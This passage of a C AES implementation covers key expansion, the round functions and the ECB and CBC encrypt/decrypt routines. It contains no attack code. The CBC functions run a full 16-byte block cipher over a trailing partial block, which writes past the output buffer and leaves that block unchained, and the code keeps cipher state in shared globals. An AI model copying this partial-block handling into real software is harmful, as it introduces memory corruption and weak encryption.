// The first round key is the key itself. 161 | for (i = 0; i < Nk; ++i) 162 | { 163 | RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; 164 | RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; 165 | RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; 166 | RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; 167 | } 168 | 169 | // All other round keys are found from the previous round keys. 170 | //i == Nk 171 | for (; i < Nb * (Nr + 1); ++i) 172 | { 173 | { 174 | tempa[0] = RoundKey[(i - 1) * 4 + 0]; 175 | tempa[1] = RoundKey[(i - 1) * 4 + 1]; 176 | tempa[2] = RoundKey[(i - 1) * 4 + 2]; 177 | tempa[3] = RoundKey[(i - 1) * 4 + 3]; 178 | } 179 | 180 | if (i % Nk == 0) 181 | { 182 | // This function shifts the 4 bytes in a word to the left once. 183 | // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] 184 | 185 | // Function RotWord() 186 | { 187 | k = tempa[0]; 188 | tempa[0] = tempa[1]; 189 | tempa[1] = tempa[2]; 190 | tempa[2] = tempa[3]; 191 | tempa[3] = k; 192 | } 193 | 194 | // SubWord() is a function that takes a four-byte input word and 195 | // applies the S-box to each of the four bytes to produce an output word. 196 | 197 | // Function Subword() 198 | { 199 | tempa[0] = getSBoxValue(tempa[0]); 200 | tempa[1] = getSBoxValue(tempa[1]); 201 | tempa[2] = getSBoxValue(tempa[2]); 202 | tempa[3] = getSBoxValue(tempa[3]); 203 | } 204 | 205 | tempa[0] = tempa[0] ^ Rcon[i / Nk]; 206 | } 207 | #ifdef AES256 208 | if (i % Nk == 4) 209 | { 210 | // Function Subword() 211 | { 212 | tempa[0] = getSBoxValue(tempa[0]); 213 | tempa[1] = getSBoxValue(tempa[1]); 214 | tempa[2] = getSBoxValue(tempa[2]); 215 | tempa[3] = getSBoxValue(tempa[3]); 216 | } 217 | } 218 | #endif 219 | RoundKey[i * 4 + 0] = RoundKey[(i - Nk) * 4 + 0] ^ tempa[0]; 220 | RoundKey[i * 4 + 1] = RoundKey[(i - Nk) * 4 + 1] ^ tempa[1]; 221 | RoundKey[i * 4 + 2] = RoundKey[(i - Nk) * 4 + 2] ^ tempa[2]; 222 | RoundKey[i * 4 + 3] = RoundKey[(i - Nk) * 4 + 3] ^ tempa[3]; 223 | } 224 | } 225 | 226 | // This function adds the round key to state. 227 | // The round key is added to the state by an XOR function. 228 | static void AddRoundKey(uint8_t round) 229 | { 230 | uint8_t i, j; 231 | for (i = 0; i < 4; ++i) 232 | { 233 | for (j = 0; j < 4; ++j) 234 | { 235 | (*state)[i][j] ^= RoundKey[round * Nb * 4 + i * Nb + j]; 236 | } 237 | } 238 | } 239 | 240 | // The SubBytes Function Substitutes the values in the 241 | // state matrix with values in an S-box. 242 | static void SubBytes(void) 243 | { 244 | uint8_t i, j; 245 | for (i = 0; i < 4; ++i) 246 | { 247 | for (j = 0; j < 4; ++j) 248 | { 249 | (*state)[j][i] = getSBoxValue((*state)[j][i]); 250 | } 251 | } 252 | } 253 | 254 | // The ShiftRows() function shifts the rows in the state to the left. 255 | // Each row is shifted with different offset. 256 | // Offset = Row number. So the first row is not shifted. 257 | static void ShiftRows(void) 258 | { 259 | uint8_t temp; 260 | 261 | // Rotate first row 1 columns to left 262 | temp = (*state)[0][1]; 263 | (*state)[0][1] = (*state)[1][1]; 264 | (*state)[1][1] = (*state)[2][1]; 265 | (*state)[2][1] = (*state)[3][1]; 266 | (*state)[3][1] = temp; 267 | 268 | // Rotate second row 2 columns to left 269 | temp = (*state)[0][2]; 270 | (*state)[0][2] = (*state)[2][2]; 271 | (*state)[2][2] = temp; 272 | 273 | temp = (*state)[1][2]; 274 | (*state)[1][2] = (*state)[3][2]; 275 | (*state)[3][2] = temp; 276 | 277 | // Rotate third row 3 columns to left 278 | temp = (*state)[0][3]; 279 | (*state)[0][3] = (*state)[3][3]; 280 | (*state)[3][3] = (*state)[2][3]; 281 | (*state)[2][3] = (*state)[1][3]; 282 | (*state)[1][3] = temp; 283 | } 284 | 285 | static uint8_t xtime(uint8_t x) 286 | { 287 | return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); 288 | } 289 | 290 | // MixColumns function mixes the columns of the state matrix 291 | static void MixColumns(void) 292 | { 293 | uint8_t i; 294 | uint8_t Tmp, Tm, t; 295 | for (i = 0; i < 4; ++i) 296 | { 297 | t = (*state)[i][0]; 298 | Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3]; 299 | Tm = (*state)[i][0] ^ (*state)[i][1]; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp; 300 | Tm = (*state)[i][1] ^ (*state)[i][2]; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp; 301 | Tm = (*state)[i][2] ^ (*state)[i][3]; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp; 302 | Tm = (*state)[i][3] ^ t; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp; 303 | } 304 | } 305 | 306 | // Multiply is used to multiply numbers in the field GF(2^8) 307 | #if MULTIPLY_AS_A_FUNCTION 308 | static uint8_t Multiply(uint8_t x, uint8_t y) 309 | { 310 | return (((y & 1) * x) ^ 311 | ((y >> 1 & 1) * xtime(x)) ^ 312 | ((y >> 2 & 1) * xtime(xtime(x))) ^ 313 | ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^ 314 | ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x)))))); 315 | } 316 | #else 317 | #define Multiply(x, y) \ 318 | ( ((y & 1) * x) ^ \ 319 | ((y>>1 & 1) * xtime(x)) ^ \ 320 | ((y>>2 & 1) * xtime(xtime(x))) ^ \ 321 | ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \ 322 | ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \ 323 | 324 | #endif 325 | 326 | // MixColumns function mixes the columns of the state matrix. 327 | // The method used to multiply may be difficult to understand for the inexperienced. 328 | // Please use the references to gain more information. 329 | static void InvMixColumns(void) 330 | { 331 | int i; 332 | uint8_t a, b, c, d; 333 | for (i = 0; i < 4; ++i) 334 | { 335 | a = (*state)[i][0]; 336 | b = (*state)[i][1]; 337 | c = (*state)[i][2]; 338 | d = (*state)[i][3]; 339 | 340 | (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); 341 | (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); 342 | (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); 343 | (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); 344 | } 345 | } 346 | 347 | 348 | // The SubBytes Function Substitutes the values in the 349 | // state matrix with values in an S-box. 350 | static void InvSubBytes(void) 351 | { 352 | uint8_t i, j; 353 | for (i = 0; i < 4; ++i) 354 | { 355 | for (j = 0; j < 4; ++j) 356 | { 357 | (*state)[j][i] = getSBoxInvert((*state)[j][i]); 358 | } 359 | } 360 | } 361 | 362 | static void InvShiftRows(void) 363 | { 364 | uint8_t temp; 365 | 366 | // Rotate first row 1 columns to right 367 | temp = (*state)[3][1]; 368 | (*state)[3][1] = (*state)[2][1]; 369 | (*state)[2][1] = (*state)[1][1]; 370 | (*state)[1][1] = (*state)[0][1]; 371 | (*state)[0][1] = temp; 372 | 373 | // Rotate second row 2 columns to right 374 | temp = (*state)[0][2]; 375 | (*state)[0][2] = (*state)[2][2]; 376 | (*state)[2][2] = temp; 377 | 378 | temp = (*state)[1][2]; 379 | (*state)[1][2] = (*state)[3][2]; 380 | (*state)[3][2] = temp; 381 | 382 | // Rotate third row 3 columns to right 383 | temp = (*state)[0][3]; 384 | (*state)[0][3] = (*state)[1][3]; 385 | (*state)[1][3] = (*state)[2][3]; 386 | (*state)[2][3] = (*state)[3][3]; 387 | (*state)[3][3] = temp; 388 | } 389 | 390 | 391 | // Cipher is the main function that encrypts the PlainText. 392 | static void Cipher(void) 393 | { 394 | uint8_t round = 0; 395 | 396 | // Add the First round key to the state before starting the rounds. 397 | AddRoundKey(0); 398 | 399 | // There will be Nr rounds. 400 | // The first Nr-1 rounds are identical. 401 | // These Nr-1 rounds are executed in the loop below. 402 | for (round = 1; round < Nr; ++round) 403 | { 404 | SubBytes(); 405 | ShiftRows(); 406 | MixColumns(); 407 | AddRoundKey(round); 408 | } 409 | 410 | // The last round is given below. 411 | // The MixColumns function is not here in the last round. 412 | SubBytes(); 413 | ShiftRows(); 414 | AddRoundKey(Nr); 415 | } 416 | 417 | static void InvCipher(void) 418 | { 419 | uint8_t round = 0; 420 | 421 | // Add the First round key to the state before starting the rounds. 422 | AddRoundKey(Nr); 423 | 424 | // There will be Nr rounds. 425 | // The first Nr-1 rounds are identical. 426 | // These Nr-1 rounds are executed in the loop below. 427 | for (round = Nr - 1; round > 0; round--) 428 | { 429 | InvShiftRows(); 430 | InvSubBytes(); 431 | AddRoundKey(round); 432 | InvMixColumns(); 433 | } 434 | 435 | // The last round is given below. 436 | // The MixColumns function is not here in the last round. 437 | InvShiftRows(); 438 | InvSubBytes(); 439 | AddRoundKey(0); 440 | } 441 | 442 | 443 | /*****************************************************************************/ 444 | /* Public functions: */ 445 | /*****************************************************************************/ 446 | 447 | 448 | 449 | void AES_ECB_encrypt(const uint8_t* input, const uint8_t* key, uint8_t* output, const uint32_t length) 450 | { 451 | // Copy input to output, and work in-memory on output 452 | memcpy(output, input, length); 453 | state = (state_t*)output; 454 | 455 | Key = key; 456 | KeyExpansion(); 457 | 458 | // The next function call encrypts the PlainText with the Key using AES algorithm. 459 | Cipher(); 460 | } 461 | 462 | void AES_ECB_decrypt(const uint8_t* input, const uint8_t* key, uint8_t* output, const uint32_t length) 463 | { 464 | // Copy input to output, and work in-memory on output 465 | memcpy(output, input, length); 466 | state = (state_t*)output; 467 | 468 | // The KeyExpansion routine must be called before encryption. 469 | Key = key; 470 | KeyExpansion(); 471 | 472 | InvCipher(); 473 | } 474 | 475 | 476 | static void XorWithIv(uint8_t* buf) 477 | { 478 | uint8_t i; 479 | for (i = 0; i < BLOCKLEN; ++i) //WAS for(i = 0; i < KEYLEN; ++i) but the block in AES is always 128bit so 16 bytes! 480 | { 481 | buf[i] ^= Iv[i]; 482 | } 483 | } 484 | 485 | void AES_CBC_encrypt_buffer(uint8_t* output, uint8_t* input, uint32_t length, const uint8_t* key, const uint8_t* iv) 486 | { 487 | uintptr_t i; 488 | uint8_t extra = length % BLOCKLEN; /* Remaining bytes in the last non-full block */ 489 | 490 | // Skip the key expansion if key is passed as 0 491 | if (0 != key) 492 | { 493 | Key = key; 494 | KeyExpansion(); 495 | } 496 | 497 | if (iv != 0) 498 | { 499 | Iv = (uint8_t*)iv; 500 | } 501 | 502 | for (i = 0; i < length; i += BLOCKLEN) 503 | { 504 | XorWithIv(input); 505 | memcpy(output, input, BLOCKLEN); 506 | state = (state_t*)output; 507 | Cipher(); 508 | Iv = output; 509 | input += BLOCKLEN; 510 | output += BLOCKLEN; 511 | //printf("Step %d - %d", i/16, i); 512 | } 513 | 514 | if (extra) 515 | { 516 | memcpy(output, input, extra); 517 | state = (state_t*)output; 518 | Cipher(); 519 | } 520 | } 521 | 522 | void AES_CBC_decrypt_buffer(uint8_t* output, uint8_t* input, uint32_t length, const uint8_t* key, const uint8_t* iv) 523 | { 524 | uintptr_t i; 525 | uint8_t extra = length % BLOCKLEN; /* Remaining bytes in the last non-full block */ 526 | 527 | // Skip the key expansion if key is passed as 0 528 | if (0 != key) 529 | { 530 | Key = key; 531 | KeyExpansion(); 532 | } 533 | 534 | // If iv is passed as 0, we continue to encrypt without re-setting the Iv 535 | if (iv != 0) 536 | { 537 | Iv = (uint8_t*)iv; 538 | } 539 | 540 | for (i = 0; i < length; i += BLOCKLEN) 541 | { 542 | memcpy(output, input, BLOCKLEN); 543 | state = (state_t*)output; 544 | InvCipher(); 545 | XorWithIv(output); 546 | Iv = input; 547 | input += BLOCKLEN; 548 | output += BLOCKLEN; 549 | } 550 | 551 | if (extra) 552 | { 553 | memcpy(output, input, extra); 554 | state = (state_t*)output; 555 | InvCipher(); 556 | } 557 | } 558 | 559 | --------------------------------------------------------------------------------